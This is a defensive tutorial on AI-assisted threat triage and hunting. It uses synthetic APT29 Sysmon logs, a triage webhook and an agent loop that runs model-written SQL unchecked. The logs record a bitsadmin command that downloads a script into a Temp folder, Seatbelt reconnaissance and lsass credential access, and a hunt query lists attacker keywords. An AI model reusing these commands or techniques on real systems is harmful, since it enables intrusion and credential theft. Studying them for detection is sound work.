Three hands-on phases that take you from pasting a raw log into ChatGPT to building your own AI agent — built on real attack simulations, not toy examples.
Every artifact on this page was generated from a simulated APT29 phishing campaign against a fictional medium-sized company. The logs are synthetic but structurally authentic — built by combining real attack technique recordings from the Mordor dataset with a procedurally generated org topology. No real infrastructure was targeted.
Below are four real log events from our simulated attack, one per stage of the kill chain. Expand each one, copy the raw log, paste it into any free AI tool, then use the prompt template at the bottom to get an instant analyst-grade explanation.
The attacker used Windows' built-in BITSAdmin utility to silently download a malicious PowerShell script from a remote URL. Because BITS is a legitimate Windows service, many security tools overlook it — but the destination URL and dropped filename are strong red flags.
{
"kill_chain_step": 1,
"EventID": 1,
"SourceName": "Microsoft-Windows-Sysmon",
"Hostname": "SALES-LAP-01.holodeck.corp",
"User": "CORP\\SYSTEM",
"Image": "C:\\Windows\\System32\\bitsadmin.exe",
"CommandLine": "bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\\Users\\wardog\\AppData\\Local\\Temp\\bitsadmin1_flag.ps1",
"ParentImage": "C:\\Windows\\System32\\cmd.exe",
"ParentCommandLine": "\"C:\\windows\\system32\\cmd.exe\" ",
"Hashes": "SHA1=282DA9EE622F01CC63352E53FDC3D4A75CEEB6FD,MD5=A23A7A6B6F8E1A5D913EA119F5F2ED1A,SHA256=EAAE8536D554D0E86D8540A8B34DB2649BD884843F389495D0B6E91636C6CF54,IMPHASH=B0A3CFF8CFDE112945189719F82F9EA9",
"@timestamp": "2026-01-14T00:00:02.876000+00:00"
}A PowerShell HTTP listener was spun up, creating an inbound C2 channel. The process masquerades as a legitimate svchost BITS service invocation, but the parent-child relationship and timing betray it.
{
"kill_chain_step": 2,
"EventID": 1,
"SourceName": "Microsoft-Windows-Sysmon",
"Hostname": "SALES-LAP-01.holodeck.corp",
"User": "CORP\\SYSTEM",
"Image": "C:\\Windows\\System32\\svchost.exe",
"CommandLine": "C:\\windows\\System32\\svchost.exe -k netsvcs -p -s BITS",
"ParentImage": "C:\\Windows\\System32\\services.exe",
"ParentCommandLine": "C:\\windows\\system32\\services.exe",
"@timestamp": "2026-01-14T00:00:02.919000+00:00"
}Seatbelt.exe, a well-known post-exploitation reconnaissance tool, was executed with the '-group=user' flag to enumerate local users, groups, and privilege details. This is standard attacker tradecraft before attempting lateral movement.
{
"kill_chain_step": 3,
"EventID": 1,
"SourceName": "Microsoft-Windows-Sysmon",
"Hostname": "SALES-LAP-02.holodeck.corp",
"User": "CORP\\SYSTEM",
"Image": "C:\\Users\\wardog\\Desktop\\Seatbelt.exe",
"CommandLine": "Seatbelt.exe -group=user",
"ParentImage": "C:\\Windows\\System32\\cmd.exe",
"@timestamp": "2026-01-14T02:00:03.041000+00:00"
}Outflank-Dumpert.exe directly accessed lsass.exe memory using syscalls to bypass common AV hooks. This extracts cleartext credentials and NTLM hashes, enabling lateral movement across the network.
{
"kill_chain_step": 4,
"EventID": 10,
"SourceName": "Microsoft-Windows-Sysmon",
"Hostname": "SALES-LAP-01.holodeck.corp",
"SourceImage": "C:\\windows\\system32\\svchost.exe",
"TargetImage": "C:\\windows\\system32\\lsass.exe",
"GrantedAccess": "0x1000",
"CallTrace": "C:\\windows\\SYSTEM32\\ntdll.dll+9c584|C:\\windows\\System32\\KERNELBASE.dll+6af15|c:\\windows\\system32\\lsm.dll+ff97|C:\\windows\\System32\\RPCRT4.dll+76a63|C:\\windows\\System32\\RPCRT4.dll+da036|C:\\windows\\System32\\RPCRT4.dll+37b7c|C:\\windows\\System32\\RPCRT4.dll+549f8|C:\\windows\\System32\\RPCRT4.dll+2c9b1|C:\\windows\\System32\\RPCRT4.dll+2c26b|C:\\windows\\System32\\RPCRT4.dll+1a8cf|C:\\windows\\System32\\RPCRT4.dll+19d7a|C:\\windows\\System32\\RPCRT4.dll+19361|C:\\windows\\System32\\RPCRT4.dll+18dce|C:\\windows\\System32\\RPCRT4.dll+16a05|C:\\windows\\SYSTEM32\\ntdll.dll+333ed|C:\\windows\\SYSTEM32\\ntdll.dll+34142|C:\\windows\\System32\\KERNEL32.DLL+17c24|C:\\windows\\SYSTEM32\\ntdll.dll+6cea1",
"@timestamp": "2026-01-14T00:00:02.913000+00:00"
}Copy the log event below, then paste it into ChatGPT with this prompt. You should get a plain-English explanation of what happened, why it's suspicious, and what to do next.
You are a senior SOC analyst. I'm going to paste a raw Windows Sysmon log event. Please: 1. Explain in plain English what this event shows 2. Tell me why this is or isn't suspicious 3. If suspicious, what MITRE ATT&CK technique does this map to? 4. What should I do next as an analyst? Here is the log event: [PASTE LOG EVENT HERE]
Once you've confirmed AI can explain a single alert, the next move is automation: Alert → Webhook → AI Analysis → Ticket. The handler below exposes a POST /triage endpoint. Point your SIEM at it and every alert gets classified, MITRE-mapped, and returned as structured JSON ready for ticket creation — or wire any no-code tool (N8N, Zapier, Make) to call it.
Drop this in front of your SIEM. It exposes a POST /triage endpoint: your SIEM fires a webhook, the handler calls an LLM with structured output, and returns ticket-ready JSON you can forward to Jira, ServiceNow, or Slack. Wire any no-code tool (N8N, Zapier, Make) to this endpoint instead of calling the LLM directly — the structured output guarantees consistent fields every time.
from fastapi import FastAPI
from pydantic import BaseModel, Field
from typing import List, Literal
from litellm import completion
import uvicorn
app = FastAPI()
# ── 1. Triage output schema ────────────────────────────────────────────
# Force structured output so downstream
# ticket creation never breaks on a missing field.
class TriageResult(BaseModel):
severity: Literal["critical", "high", "medium", "low"]
summary: str = Field(description="One sentence: what happened and why it matters")
mitre_technique: str = Field(description="Best-fit ATT&CK ID + name, e.g. T1197 – BITS Jobs")
next_steps: List[str] = Field(description="Exactly 3 concrete analyst actions")
escalate: bool = Field(description="True if a human should act within 30 minutes")
confidence: int = Field(description="1-10. How certain is this classification?")
# ── 2. Triage system prompt ──────────────────────────────────
SYSTEM_PROMPT = """
You are an automated SOC triage assistant.
An alert has fired. Analyze the raw event data and classify it.
Rules:
- severity=critical → active intrusion, data exfil, ransomware
- severity=high → confirmed malicious tool, lateral movement
- severity=medium → suspicious but explainable, warrants investigation
- severity=low → likely benign, log for trend analysis
- escalate=true only if a human should act within 30 minutes
- next_steps must be specific and actionable, not generic advice
"""
# ── 3. Webhook endpoint ──────────────────────────────
class AlertPayload(BaseModel):
alert: dict # raw alert from your SIEM
model: str = "claude-haiku-4-5-20251001" # cheap model is fine for triage
@app.post("/triage", response_model=TriageResult)
def triage(payload: AlertPayload):
import json
alert_text = json.dumps(payload.alert, indent=2)
resp = completion(
model=payload.model,
messages=[
{"role": "system", "content": SYSTEM_PROMPT},
{"role": "user", "content": f"Alert data:\n{alert_text}"},
],
response_format=TriageResult, # same pattern as Phase 3 hunt agent
)
return TriageResult.model_validate_json(resp.choices[0].message.content)
# ── 4. Run ─────────────────────────────
# uvicorn triage_handler:app --host 0.0.0.0 --port 8000
# Then point your SIEM webhook at: http://your-server:8000/triage
#
# N8N users: add an HTTP Request node pointing at this endpoint.
# The JSON response maps directly to ticket fields.
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000)This is an actual AI threat hunt — Claude Opus reasoning through the same APT29 simulation, writing SQL queries against a log database, and discovering the attack step-by-step. Each turn shows the reasoning, the query, and what was found. Green turns are moments a new piece of evidence was discovered.
SELECT MIN("@timestamp") as earliest, MAX("@timestamp") as latest, COUNT(*) as total_events, COUNT(DISTINCT "host") as hosts FROM logsSELECT "EventID", COUNT(*) as cnt, MIN("@timestamp") as earliest, MAX("@timestamp") as latest FROM logs WHERE "@timestamp" != '' GROUP BY "EventID" ORDER BY cnt DESC LIMIT 20SELECT "@timestamp", "EventID", "SourceName", "Channel", "SubjectUserName", "SubjectDomainName", "Message" FROM logs WHERE "EventID" IN ('1102', '104') ORDER BY "@timestamp"SELECT "@timestamp", "Image", "CommandLine", "ParentImage", "ParentCommandLine", "User" FROM logs WHERE "EventID" = '1' AND ("CommandLine" LIKE '%powershell%' OR "CommandLine" LIKE '%cmd%' OR "CommandLine" LIKE '%whoami%' OR "CommandLine" LIKE '%net %' OR "CommandLine" LIKE '%mimikatz%' OR "CommandLine" LIKE '%invoke%' OR "CommandLine" LIKE '%download%' OR "CommandLine" LIKE '%encode%' OR "CommandLine" LIKE '%base64%' OR "CommandLine" LIKE '%bypass%') ORDER BY "@timestamp" LIMIT 10SELECT "@timestamp", "SourceImage", "TargetImage", "GrantedAccess", "CallTrace" FROM logs WHERE "EventID" = '10' AND "TargetImage" LIKE '%lsass%' ORDER BY "@timestamp" LIMIT 10
SELECT "@timestamp", "UtcTime", "Image", "DestinationIp", "DestinationPort" FROM logs WHERE "EventID" = '3' AND "DestinationIp" NOT IN ('127.0.0.1', '0:0:0:0:0:0:0:1', '239.255.255.250', '-') AND "DestinationIp" != '' ORDER BY "@timestamp" LIMIT 10SELECT "@timestamp", "UtcTime", "Image", "CommandLine", "ParentImage", "ParentCommandLine", "User" FROM logs WHERE "EventID" = '1' AND "Image" LIKE '%Seatbelt%' ORDER BY "@timestamp"
SELECT "@timestamp", "EventID", "UtcTime", "TargetFilename", "Image" FROM logs WHERE "EventID" = '23' ORDER BY "@timestamp"
This is the actual agent loop powering the hunt walkthrough above. The key insight: force structured output so the model can't hallucinate a tool call — it must emit valid JSON with a reasoning trace, a tool name, and the right arguments. Copy this, point it at your log database, and the model will drive its own investigation.
from litellm import completion
from pydantic import BaseModel, Field
from typing import Optional, List
# ── 1. Structured output schema ───────────────────────────────────────
# Forcing JSON here does two things:
# a) prevents hallucinated tool names
# b) gives you a reasoning trace for free (the 'reasoning' field)
class HunterAction(BaseModel):
reasoning: str = Field(
description="Step-by-step thinking: what did I find, what does it mean, "
"what should I query next? Never leave this empty."
)
tool: str = Field(
description="One of: 'run_sql' | 'submit_flags' | 'give_up'"
)
sql_query: Optional[str] = Field(
None, description="Required when tool='run_sql'"
)
suspicious_timestamps: Optional[List[str]] = Field(
None, description="ISO timestamps of malicious events. Required when tool='submit_flags'"
)
# ── 2. System prompt ──────────────────────────────────────────────
SYSTEM_PROMPT = """
You are an expert threat hunter. A log database contains evidence of a
security breach. Your job: find every malicious event by writing SQL queries.
Database: table 'logs' with columns:
@timestamp, EventID, SourceName, Hostname, User,
Image, CommandLine, ParentImage, TargetImage,
DestinationIp, DestinationPort, TargetFilename
AVAILABLE TOOLS:
run_sql - Execute a SQL SELECT. Costs one turn.
submit_flags - Record the @timestamp of each malicious event you found.
give_up - End the hunt.
Be efficient. You have 20 queries. Start broad (event counts, time ranges),
then narrow toward suspicious activity.
"""
# ── 3. ReAct loop ─────────────────────────────────────────────
def run_hunt(db_conn, model="claude-opus-4-6"):
history = [{"role": "system", "content": SYSTEM_PROMPT}]
obs = "Begin the investigation. The log database is ready."
for turn in range(20):
history.append({"role": "user", "content": obs})
# Think: model returns structured JSON
resp = completion(
model=model,
messages=history,
response_format=HunterAction, # enforces schema
)
action = HunterAction.model_validate_json(
resp.choices[0].message.content
)
history.append({"role": "assistant", "content": resp.choices[0].message.content})
print(f"[Turn {turn+1}] tool={action.tool}")
print(f" Reasoning: {action.reasoning[:120]}...")
# Act
if action.tool == "run_sql":
rows = db_conn.execute(action.sql_query).fetchall()
obs = f"Query returned {len(rows)} rows:\n{rows[:10]}"
elif action.tool == "submit_flags":
print(f" Flagged {len(action.suspicious_timestamps)} events")
obs = f"Recorded {len(action.suspicious_timestamps)} timestamps."
elif action.tool == "give_up":
print(" Agent gave up.")
break
return history